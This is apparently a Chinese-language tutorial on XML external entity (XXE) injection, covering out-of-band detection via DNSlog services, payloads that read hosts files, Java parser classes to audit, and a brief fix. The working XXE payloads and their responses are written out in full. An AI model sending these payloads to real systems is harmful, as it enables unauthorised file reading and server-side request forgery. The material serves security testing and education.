What is XXE?
XML external entity injection (also known as XXE)。奇怪,XML External Entity 为什么不叫XEE?
XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
在某些情况下,攻击者可以利用 XXE 漏洞联合执行服务器端请求伪造(SSRF) 攻击,从而提高 XXE 攻击等级以破坏底层服务器或其他后端基础设施。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
XXE与XML注入的区别?
本文主要探讨XXE,其它部分内容请自行查阅。
https://www.cnblogs.com/websecurity-study/p/11348913.html
XXE漏洞原理
要了解XXE漏洞的原理,需要了解一下XML格式(一种数据传输格式,现在被JSON取代),DTD。
可以参考这篇文章:https://xz.aliyun.com/t/6887 , 这里节省篇幅不描述XML语法了。
一些应用程序使用 XML 格式在浏览器和服务器之间进行传输数据。
执行此操作的应用程序实际上总是使用标准库或平台 API 来处理服务器上的 XML 数据。XXE 漏洞的出现是因为 XML 规范就包含各种潜在危险的特性,而标准解析器支持这些特性,即使它们通常不被应用程序使用。
XML外部实体是一种自定义 XML 实体,其定义的值是从声明它们的 DTD 外部加载的。从安全角度来看,外部实体特别值得关注,因为它们允许根据文件路径或 URL 的内容定义实体。
XXE的特征
-
特征1 --- .ashx
看到url是 .ashx后缀的
-
特征2 --- 响应体是xml
发现有这些特征都可以用下面的流程测试
XXE测试
在线工具:
http://ceye.io/
http://www.dnslog.cn/
https://dnslog.io/
我这里用www.dnslog.cn
举例
注意
发包需要修改格式:
Content-Type: application/xml
pyload
把http://127.0.0.1:80
替换成你的Get SubDomain
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:80" > %xxe; ]>
# or
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://127.0.0.1:80">
]>
<r>&sp;</r>
然后点Refresh Record
,有访问记录就说明测试成功了。
任意读取文件测试
原理就是构造一个可以访问系统默认文件hosts的Pyload,然后看看响应,看他说缺啥补充啥。如果是回显型XXE就会将配置文件的信息打印出来。
file:///c:/windows/system32/drivers/etc/hosts
file:///etc/hosts
# pyload
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">
]>
<r>&sp;</r>
# response
<?xml version="1.0" encoding="utf-8"?><response><header><actionCode>1</actionCode><rspType>7</rspType><rspCode>9011</rspCode><rspDesc><![CDATA[请求报文头部不能为空]]></rspDesc><digitalSign /><rspTime>2020-04-09 16:58:34.877</rspTime></header><body></body></response>
# pyload
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///c:/windows/system32/drivers/etc/hosts1">
]>
<r>&sp;</r>
# response
<?xml version="1.0" encoding="utf-8"?><response><header><actionCode>1</actionCode><rspType>7</rspType><rspCode>7000</rspCode><rspDesc><![CDATA[接口程序执行错误]]></rspDesc><digitalSign /><rspTime>2020-04-09 17:01:08.121</rspTime></header><body></body></response>
代码审计XXE,基于Java语言
关键字 ,如下: 这些地方如果参数来源于用户可控的参数 且未经校验和防护,就会存在XXE漏洞的风险:
- DocumentBuilder、XMLStreamReader、SAXBuilder、SAXParser
- SAXReader 、XMLReader
- SAXSource 、TransformerFactory 、SAXTransformerFactory 、
- SchemaFactory
- xml
部分XML解析接口如下:
- javax.xml.parsers.DocumentBuilderFactory;
- javax.xml.parsers.SAXParser
- javax.xml.transform.TransformerFactory
- javax.xml.validation.Validator11 javax.xml.validation.SchemaFactory
- javax.xml.transform.sax.SAXTransformerFactory
- javax.xml.transform.sax.SAXSource
- org.xml.sax.XMLReader
- org.xml.sax.helpers.XMLReaderFactory
- org.dom4j.io.SAXReader
- org.jdom.input.SAXBuilder
- org.jdom2.input.SAXBuilder
- javax.xml.bind.Unmarshaller
- javax.xml.xpath.XpathExpression
- javax.xml.stream.XMLStreamReader
- org.apache.commons.digester3.Digester
修复方案
- 使用开发语言提供的禁用外部实体的方法;
# java举例
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
- 过滤用户提交的XML数据;
- 不允许XML中含有自己定义的DTD;